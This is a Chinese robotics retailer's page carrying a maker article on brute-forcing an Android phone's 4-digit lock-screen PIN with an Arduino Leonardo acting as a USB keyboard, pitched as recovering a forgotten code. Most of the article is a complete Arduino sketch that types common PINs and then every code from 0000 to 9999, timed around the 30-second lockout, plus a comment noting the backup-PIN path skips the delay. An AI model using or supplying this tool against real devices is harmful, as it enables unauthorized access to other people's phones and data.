相关商品

  • Arduino Leonardo 莱昂纳多控制器 原装进口
  • Arduino 水蒸气传感器 雨水探测器 液位开关 湿度传感器 电子积木
  • 原装进口 Arduino Mega ADK 2560 开发板 Arduino uno R3 控制器
  • Arduino Due ARM控制器 Arduino原装进口 32bit CortexM3
  • MP3 Player Shield MP3模块 Arduino 解码器 Sparkfun 原装进口
  • Arduino Mini 05 Sparkfun原装进口 ATmega328 控制器
  • Arduino UNO R3 SMD 控制器 ATmega16U2 开发版 单片机 sparkfun原装进口
  • RedBot控制器 RedBot Mainboard Arduino开发板 Sparkfun原装进口
  • A-Star 32u4 Mini LV 可编程模块 ATmega32U4开发板 pololu原装
  • A-Star 32U4 Mini ULV 可编程模块 ATmega32U4开发板 Pololu原装
  • Starduino控制器 Arduino 舵机控制器 奥松机器人
  • Starduino 透明亚克力外壳 控制器 Arduino 保护盒子 奥松机器人
  • 4WD机器人调试助手v2.0软件 智能小车 Arduino 履带 WiFi蓝牙小车
  • SparkFun原装进口 Block for Intel® Edison 扩展板 Arduino扩展
  • 机智云开发板 Arduino UNO 传感器扩展板 GoKit智能硬件
  • 42BYGHW609步进电机 42HYGHW 步进电机 1.7A 3D 打印机 NEMA17
  • 学Arduino玩转机器人制作 爱上 Arduino套件 爱上制作图书 机器人制作知识大全 爱上机器人
  • Arduino 电流传感器 电流检测模块 过流保护模块 交流电检测
  • 奥松 扬声器发声模块 声音输出模块 Speaker模块 麦克风发声模块
  • Arduino Yun Mini 控制器 ATmega32U4开发板 WIFI Linux原装限量
  • Arduino 9 Axes Motion Shield 9轴运动扩展板 三轴加速度计
  • Arduino M0 Pro 电路板 ATSAMD21G18 Arduino UNO 升级 原装
  • Arduino 条形LED模块 10段条状数码管 发光模块 梯度显示 短光条
  • Arduino UNO R3 配套亚克力外壳 拼装外壳 透明盒子 专用保护盒子
  • 小手枪DIY玩具 木质立体拼装模型 儿童益智积木 手工制作拼插套件
  • Arduino 完全实战 arduino硬件学习 提供教学视频 现货
  • 原装进口 Arduino Micro 控制器 ATmega32U4开发板 A000053
  • Arduino M3带齿螺母紧固件套件 M3 K帽螺母 机器人制作 紧固配件
  • 原装 Arduino UNO R3 控制器 ATmega328 单片机 官方中文版
  • 基于Arduino UNO R3开发板 乐高外壳 UNO保护外壳 透明盒子 注塑外壳
  • 官方版 完美图解物联网IoT实操第二册:ESP8266 Arduino Cordova物联网书籍
  • 当前位置: 首页 > 创客利器 > 【创客学堂】神技能!通过arduino暴力破解Android手机

    【创客学堂】神技能!通过arduino暴力破解Android手机

    编辑:Jason2014-12-19 来源:开源杂志 浏览次数:3616

          使用过安卓手机的小伙伴们肯定会有些惨痛经历,经常会忘记手机解锁图形和PIN码,但如果通过Root等方式破解手机恐怕再也无法得到官方保修,这里就介绍一种方法安全的破解它!

          三星Galaxy S3手机在输错5次PIN码后,会要求等待30s然后重新输入,幸运的是,每次输错都会要求等待30s,这等待时间并不会更改,这就给了hack的机会。
    因为Arduino Leonardo可以作为HID设备模拟键盘通过USB OTG连接到手机,在这里我就选用了Leonardo,文章末尾有详细的代码。为了减少破解时间,可以把自己常用的密码或者数字组合优先测试。

         当然,三星Galaxy S3手机的PIN码只有四位,如果从0000一直尝试到9999大概只需要16个小时,如果你的手机碰巧是小米手机,PIN码又碰巧设了17位,那你就果断Root吧~~

         代码如下:



    1. /*
    2. Brute forcing Android 4 Digit PIN's
    3. To run the whole range it will take upwards of 16 hours because of
    4. the 30 second delay after 5 bad inputs
    5. Intrestingly, if the target phone has the pattern enabled
    6. and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
    7. invalid attempts
    8. http://blog.infosecsee.com */

    9. const int buttonPin = 2; // input pin for pushbutton
    10. int previousButtonState = HIGH; // for checking the state of a pushButton
    11. int counter = 0; // button push counter
    12. int check = 0;

    13. void setup() {

    14. pinMode(buttonPin, INPUT);

    15. Keyboard.begin();
    16. }

    17. void loop() {

    18. int buttonState = digitalRead(buttonPin);
    19. if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    20. Mouse.move(25, 50, 0);
    21. String three = "000";
    22. String two = "00";
    23. String one = "0";

    24. while(counter < 10000){
    25. delay(1000);
    26. while (check < 1){
    27. Keyboard.println("1234");
    28. delay(500);
    29. Keyboard.println("1111");
    30. delay(500);
    31. Keyboard.println("0000");
    32. delay(500);
    33. Keyboard.println("1212");
    34. delay(500);
    35. Keyboard.println("7777");
    36. Keyboard.println("");
    37. Keyboard.println("");
    38. delay(30000);
    39. Mouse.move(25, 50, 0);
    40. Keyboard.println("1004");
    41. delay(500);
    42. Keyboard.println("2000");
    43. delay(500);
    44. Keyboard.println("4444");
    45. delay(500);
    46. Keyboard.println("2222");
    47. delay(500);
    48. Keyboard.println("6969");
    49. Keyboard.println("");
    50. Keyboard.println("");
    51. delay(30000);
    52. Mouse.move(25, 50, 0);
    53. Mouse.move(25, 50, 0);
    54. Keyboard.println("9999");
    55. delay(500);
    56. Keyboard.println("3333");
    57. delay(500);
    58. Keyboard.println("5555");
    59. delay(500);
    60. Keyboard.println("6666");
    61. delay(500);
    62. Keyboard.println("1122");
    63. Keyboard.println("");
    64. Keyboard.println("");
    65. delay(30000);
    66. Mouse.move(25, 50, 0);
    67. Keyboard.println("1313");
    68. delay(500);
    69. Keyboard.println("8888");
    70. delay(500);
    71. Keyboard.println("4321");
    72. delay(500);
    73. Keyboard.println("2001");
    74. delay(500);
    75. Keyboard.println("1010");
    76. delay(500);
    77. Keyboard.println("");
    78. Keyboard.println("");
    79. delay(30000);
    80. Mouse.move(25, 50, 0);
    81. check++;}
    82. if (counter < 10 && check == 1) {

    83. Keyboard.println(three + counter);
    84. delay(500);
    85. counter++;
    86. Keyboard.println(three + counter);
    87. delay(500);
    88. counter++;
    89. Keyboard.println(three + counter);
    90. delay(500);
    91. counter++;
    92. Keyboard.println(three + counter);
    93. delay(500);
    94. counter++;
    95. Keyboard.println(three + counter);
    96. delay(500);
    97. Keyboard.println("");
    98. Keyboard.println("");
    99. delay(30000);
    100. Mouse.move(25, 50, 0);
    101. }
    102. else if (counter < 100){
    103. Keyboard.println(two + counter);
    104. delay(500);
    105. counter++;
    106. Keyboard.println(two + counter);
    107. delay(500);
    108. counter++;
    109. Keyboard.println(two + counter);
    110. delay(500);
    111. counter++;
    112. Keyboard.println(two + counter);
    113. delay(500);
    114. counter++;
    115. Keyboard.println(two + counter);
    116. delay(500);
    117. Keyboard.println("");
    118. Keyboard.println("");
    119. delay(30000);
    120. Mouse.move(25, 50, 0);
    121. }
    122. else if (counter < 1000){
    123. Keyboard.println(one + counter);
    124. delay(500);
    125. counter++;
    126. Keyboard.println(one + counter);
    127. delay(500);
    128. counter++;
    129. Keyboard.println(one + counter);
    130. delay(500);
    131. counter++;
    132. Keyboard.println(one + counter);
    133. delay(500);
    134. counter++;
    135. Keyboard.println(one + counter);
    136. delay(500);
    137. Keyboard.println("");
    138. Keyboard.println("");
    139. delay(30000);
    140. Mouse.move(25, 50, 0);
    141. }
    142. else {
    143. Keyboard.println(counter);
    144. delay(500);
    145. counter++;
    146. Keyboard.println(counter);
    147. delay(500);
    148. counter++;
    149. Keyboard.println(counter);
    150. delay(500);
    151. counter++;
    152. Keyboard.println(counter);
    153. delay(500);
    154. counter++;
    155. Keyboard.println(counter);
    156. delay(500);
    157. Keyboard.println("");
    158. Keyboard.println("");
    159. delay(30000);
    160. Mouse.move(25, 50, 0);
    161. }
    162. }
    163. }
    164. previousButtonState = buttonState;
    165. }


          相关文章:

         借助Arduino做一个RFID门禁系统


         视频演示如何给树莓派安装摄像头模块


          利用Arduino玩出来的发烧级玩具


          用树莓派改装的智能微波炉


          Arduino兼容的3D手势控制器


    • 用户评价

    匿名用户
    咨询内容:
    是看客
    管理员:
    尊敬的客户您好,感谢您光顾奥松机器人中文官网,有需要欢迎您的咨询
    总计 1 个记录,共 1 页。 第一页 上一页 下一页 最末页
    用户名: 匿名用户
    E-mail:
    评价等级:
    评论内容:
    验证码:
    captcha

    Hi,大家好,我是小奥!

    欢迎来到奥松机器人的世界!

    需要咨询服务请点小奥哦!

    • 销售咨询: 销售咨询
    • 销售咨询: 销售咨询
    • 技术支持: 技术支持
    • 咨询电话:
      0451-86628691
    Top